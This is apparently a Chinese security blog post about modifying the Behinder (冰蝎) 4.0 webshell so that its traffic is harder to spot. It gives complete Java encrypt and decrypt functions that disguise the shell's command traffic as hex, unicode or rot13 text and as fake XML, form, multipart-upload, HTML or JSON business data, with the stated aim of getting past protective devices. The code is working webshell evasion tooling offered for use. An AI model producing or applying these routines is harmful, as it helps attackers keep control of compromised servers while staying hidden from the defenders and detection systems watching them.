冰蝎4.0流量分析及魔改
冰蝎4.0流量分析及魔改
0x00 前言
冰蝎v4.0开放了传输协议的自定义功能，使得流量魔改更为简单方便，本文以jsp脚本类型为例，提供一些冰蝎4流量魔改的方式
0x01传输协议分析
冰蝎4内置了如下几种传输协议，传输协议可以理解为流量的加密方式
以default_xor传输协议为例，这种传输协议是对原始数据进行了异或加密
效果如下：
我们来去掉加密解密函数的相关代码
如果不用任何加解密函数，request body其实传输的是java 字节码
响应体其实也是明文的固定格式的json类型
{"msg":"执行结果base64编码","status":"c3VjY2Vzcw=="}
0x02冰蝎4.0魔改
变换加密方式
冰蝎4将加解密函数给外置出来，我们可以自己定义通信流量的加密方式，本次列举hex、unicode、rot13等加密方式
hex加密
前面已经分析过传输的data明文数据，所以在它基础上进行base64编码+hex编码，写上加解密函数即可实现hex加密流量
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
return str.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
String s= new String(data);
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
byte[] str = java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
return str;
}通信流量如下：
unicode加密
在base64编码的基础上加一层unicode编码，写unicode编码的加解密函数
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
StringBuffer unicode = new StringBuffer();
for(int i = 0; i < result.length(); i++){
char c = result.charAt(i);
unicode.append("u00" + Integer.toHexString(c));
}
return unicode.toString().getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
String unicode= new String(data);
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
return str;
}通信流量如下：
rot13加密
在base64编码的基础上加一层rot13编码，写rot13编码的加解密函数
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return str.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
String input = new String(data);
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));
}通信流量如下：
变换传输方式
之前列举了一些常见的加密方式，单纯对流量进行加密可能会被检测出来，我们可以对通信流量加入一些业务数据进行混淆，可能会更容易绕过防护设备
xml格式传输
将字节码base64编码后的数据替换掉xml模板中指定的字符串就ok了，这样通信流量就变成了xml格式
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String xml="<?xml version="1.0"?><user><id>1</id><content>DaYer0</content></user>";
xml=xml.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return xml.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,46,data.length-63);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}通信流量如下：
key-value格式传输
当然也可以定义一段key-value的数据，然后用base64编码后的数据替换掉指定字符串
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String json="id=1&content=DaYer0&token=1452178369&status=00000";
json=json.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return json.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,13,data.length-43);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}
通信流量如下：
multipart格式传输
定义一段multipart格式的数据，然后替换指定字符串
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
upload=upload.replace("DaYer0",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));
return upload.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));
}通信流量如下：
加密方式+传输方式组合
用变换传输方式的方法可以使通信流量更像业务，但是加密流量只进行了一次base64编码，我们知道原始流量是java字节码，在经过base64编码后会有yv66这样的魔术头，这样很容易被检测到，所以我们可以用加密方式和传输方式相结合的方法来躲避检测
xml格式+rot13加密
加密流量最外层进行一次rot13编码，然后再用xml的格式进行混淆
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String xml="<?xml version="1.0"?><user><id>1</id><content>DaYer0</content></user>";
String input = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
xml=xml.replace("DaYer0",str);
return xml.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,46,data.length-63);
String input = new String(bos.toByteArray());
String str = "";
for (int i = 0; i < input.length(); i++)
{
char ch = input.charAt(i);
if (ch >= 'A' && ch <= 'Z')
{
ch = (char) (ch + 13);
if (ch > 'Z')
{
ch = (char)(ch - 26);
}
}
else if (ch >= 'a' && ch <= 'z')
{
ch = (char)(ch + 13);
if (ch > 'z')
{
ch = (char)(ch - 26);
}
}
str = str + ch;
}
return java.util.Base64.getDecoder().decode(str.replace("<","+").replace(">","/"));
}通信流量如下：
key-value格式+unicode加密
加密流量最外层进行一次unicode编码，然后再用key-value的格式进行混淆
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String content="id=1&content=DaYer0&token=1452178369&status=00000";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
String str="";
StringBuffer unicode = new StringBuffer();
for(int i = 0; i < result.length(); i++){
char c = result.charAt(i);
unicode.append("u00" + Integer.toHexString(c));
}
content=content.replace("DaYer0",unicode.toString());
return content.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,13,data.length-43);
String unicode= new String(bos.toByteArray());
StringBuilder sb = new StringBuilder();
int i = -1;
int pos = 0;
while ((i = unicode.indexOf("u", pos)) != -1) {
sb.append(unicode.substring(pos, i));
if (i + 5 < unicode.length()) {
pos = i + 6;
sb.append((char) Integer.parseInt(unicode.substring(i + 2, i + 6), 16));
}
}
byte[] str = java.util.Base64.getDecoder().decode(sb.toString().replace("<","+").replace(">","/"));
return str;
}通信流量如下：
multipart格式+hex加密
加密流量最外层进行一次hex编码，然后再用multipart的格式进行混淆
加密函数：
private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
String str = "";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
str = str + s4;
}
upload=upload.replace("DaYer0",str);
return upload.getBytes();
}解密函数：
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
String s= new String(bos.toByteArray());
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
}
通信流量如下：
把数据加密为html形式
加密函数:
private byte[] Encrypt(byte[] data) throws Exception
{
String upload="-----------------------------7e6103b1815de Content-Disposition:form-data;name="uploadFile";filename="test.png" Content-Type:application/octet-stream DaYer0 -----------------------------7e6103b1815de--";
String str = "";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
s4 = s4.replace("a", "<a>")
.replace("b", "</a>")
.replace("c", "<img>")
.replace("d", "</img>")
.replace("e", "<p>")
.replace("f", "</p>")
.replace("1", "<id>")
.replace("2", "</id>")
.replace("3", "<li>")
.replace("4", "</li>")
.replace("5", "<div>")
.replace("6", "</div>")
.replace("7", "<ul>")
.replace("8", "</ul>")
.replace("9", "<span>")
.replace("0", "</span>");
str = str + s4;
}
upload=upload.replace("DaYer0",str);
return upload.getBytes();
}解密函数:
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,150,data.length-195);
//String s= new String(bos.toByteArray());
byte[] writtenData = bos.toByteArray(); // 获取写入的数据
String writtenDataString = new String(writtenData); // 将字节数组转换为字符串
System.out.println(writtenDataString); // 打印写入的数据
// String s= new String(bos.toByteArray());
String s = writtenDataString.replace("<a>", "a")
.replace("</a>", "b")
.replace("<img>", "c")
.replace("</img>", "d")
.replace("<p>", "e")
.replace("</p>", "f")
.replace("<id>", "1")
.replace("</id>", "2")
.replace("<li>", "3")
.replace("</li>", "4")
.replace("<div>", "5")
.replace("</div>", "6")
.replace("<ul>", "7")
.replace("</ul>", "8")
.replace("<span>", "9")
.replace("</span>", "0");
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
System.out.println(s);
return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
}
通信流量如下:
我们也可以稍微变换一下，让他看起来像传输json一样
加密函数:
private byte[] Encrypt(byte[] data) throws Exception
{
String upload="{ "status":200, html:" XXYYZZ"}";
String str = "";
String result = java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">");
for (int i=0;i<result.length();i++){
int ch = (int)result.charAt(i);
String s4 = Integer.toHexString(ch);
s4 = s4.replace("a", "<a>")
.replace("b", "</a>")
.replace("c", "<img>")
.replace("d", "</img>")
.replace("e", "<p>")
.replace("f", "</p>")
.replace("1", "<id>")
.replace("2", "</id>")
.replace("3", "<li>")
.replace("4", "</li>")
.replace("5", "<div>")
.replace("6", "</div>")
.replace("7", "<ul>")
.replace("8", "</ul>")
.replace("9", "<span>")
.replace("0", "</span>");
str = str + s4;
}
upload=upload.replace("XXYYZZ",str);
return upload.getBytes();
}
解密函数:
private byte[] Decrypt(byte[] data) throws Exception
{
java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();
bos.write(data,23,data.length-25);
//String s= new String(bos.toByteArray());
byte[] writtenData = bos.toByteArray(); // 获取写入的数据
String writtenDataString = new String(writtenData); // 将字节数组转换为字符串
System.out.println(writtenDataString); // 打印写入的数据
// String s= new String(bos.toByteArray());
String s = writtenDataString.replace("<a>", "a")
.replace("</a>", "b")
.replace("<img>", "c")
.replace("</img>", "d")
.replace("<p>", "e")
.replace("</p>", "f")
.replace("<id>", "1")
.replace("</id>", "2")
.replace("<li>", "3")
.replace("</li>", "4")
.replace("<div>", "5")
.replace("</div>", "6")
.replace("<ul>", "7")
.replace("</ul>", "8")
.replace("<span>", "9")
.replace("</span>", "0");
byte[] baKeyword = new byte[s.length()/2];
for(int i = 0; i < baKeyword.length; i++){
try{
baKeyword[i] = (byte)(0xff & Integer.parseInt(s.substring(i*2, i*2+2),16));
}catch(Exception e){
e.printStackTrace();
}
}
try{
s = new String(baKeyword, "utf-8");
}catch (Exception e1){
e1.printStackTrace();
}
System.out.println(s);
return java.util.Base64.getDecoder().decode(s.replace("<","+").replace(">","/"));
}
通信流量如下:
文章来源:
https://xz.aliyun.com/t/12453
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冰蝎4.0流量分析及魔改
冰蝎4.0流量分析及魔改
0x00 前言
冰蝎v4.0开放了传输协议的自定义功能，使得流量魔改更为简单方便，本文以jsp脚本类型为例，提供一些冰蝎4流量魔改的方式
0x01传输协议分析
冰蝎4内置了如下几种传输协议，传输协……
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